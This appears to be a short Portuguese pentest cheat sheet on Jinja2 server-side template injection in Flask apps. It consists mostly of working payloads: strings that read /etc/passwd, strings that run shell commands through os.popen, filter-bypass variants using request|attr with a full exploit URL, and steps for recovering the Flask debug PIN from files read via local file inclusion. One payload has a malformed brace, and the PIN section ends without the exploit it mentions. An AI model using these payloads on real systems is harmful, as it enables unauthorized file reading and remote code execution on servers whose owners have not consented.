Python

SSTI Jinja

Lendo arquivos

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

RCE

{config.__class__.__init__.__globals__['os'].popen("id").read()}}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

Jinja2 bypass de filtros

http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

Flask Debug Pin de um LFI

Se for possível verificar o conteúdo dos arquivos /etc/machine-id ou /proc/sys/kernel/random/boot_i e /proc/net/arp para pegar o device_id é só adicionar em /sys/class/net/device_id/address. Depois de pegar o valor, é só converter ele usando python e adicionar os valores encontrados no exploit:

Last updated